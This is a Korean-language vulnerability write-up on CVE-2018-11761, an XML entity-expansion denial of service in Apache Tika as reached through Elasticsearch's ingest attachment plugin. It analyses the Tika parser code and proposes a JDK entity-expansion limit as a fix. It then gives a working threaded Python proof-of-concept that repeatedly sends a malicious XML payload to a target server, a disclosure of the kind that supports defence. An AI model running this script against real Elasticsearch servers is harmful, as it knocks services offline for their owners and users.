
Apache Tika 서비스 거부 취약점 (CVE-2018-11761)
최근 Apache Tika에 대한 연구에서 XML 파서에 DOS(서비스 거부) 취약점이 존재함을 발견했습니다. 이는 파서가 XML 문서를 부적절하게 파싱하기 때문에 발생합니다.
알려진 바와 같이, 핵심 ingest attachment 플러그인은 Elasticsearch가 Apache 텍스트 추출 라이브러리 Tika를 사용하여 일반적인 형식(예: PPT, XLS, PDF)의 파일 첨부를 추출할 수 있도록 합니다. 이제 ingest attachment 플러그인의 소스 코드를 살펴보겠습니다.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
실제로, 이 플러그인은 XML 파일에서 내용을 추출하기 위해 파서로 [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java)를 사용합니다. 추가 조사 결과, 다음과 같은 호출 과정을 확인할 수 있습니다.
* `DcXMLParser()`는 [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)를 확장합니다.
* `XMLParser`는 XML 문서를 파싱하기 위해 [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75)를 사용합니다.
* `XMLReaderUtils.parseSAX`는 [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)를 호출합니다.```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
위 함수에서는 SAXParserFactory.newInstance() 객체에 대한 매우 제한적인 보안 제한 사항을 확인할 수 있습니다:```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Oracle의 설명에 따르면, [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html)이 활성화되면 구현체가 XML을 안전하게 처리하도록 지시합니다. 이는 서비스 거부 공격과 같은 조건을 피하기 위해 XML 구조에 제한을 설정할 수 있습니다.
하지만, 실제로는 [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion)을 완전히 방지할 수 없습니다. 공격자는 여전히 조작된 XML 문서를 ES 서버에 보내 `Proof of Concept` 섹션에서 언급된 XML Entity Expansion 취약점을 통해 DoS 공격을 수행할 수 있습니다. Apache Tika 소스 코드를 확인한 결과, 그들은 `XMLConstants.FEATURE_SECURE_PROCESSING` 기능만 활성화했으며, 기본적으로 엔터티 확장 횟수를 64,000개로 제한하기 때문에 [이 문서](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html)에 따라 이러한 유형의 공격으로부터 보호할 수 있다고 생각했을 수 있습니다. 그러나 실제로는 여전히 이 64,000개의 엔터티 확장을 활용하여 메모리 내에서 증폭 XML 객체를 생성할 수 있습니다. 예를 들어, POC의 `ES_XML.xml` 파일 크기는 약 64KB에 불과하지만, ES 서버의 백엔드 Tika 서버에 업로드되면 Tika는 이를 구문 분석하기 위해 최소 6MB의 메모리(6MB / 64KB = 100배)를 할당해야 하며, 이로 인해 CPU 사용률이 급격히 증가합니다.
따라서 제 이해로는, 가능한 수정 사항 중 하나는 다음 시스템 속성을 설정하여 [Oracle 문서](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html)에 따라 영향을 크게 제한하는 것입니다.```
jdk.xml.entityExpansionLimit=1
다음 데모는 Tika 1.18을 사용하는 ElasticSearch 6.3.31에서 테스트되고 확인되었습니다:
poc_dos_es.py로 저장합니다:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)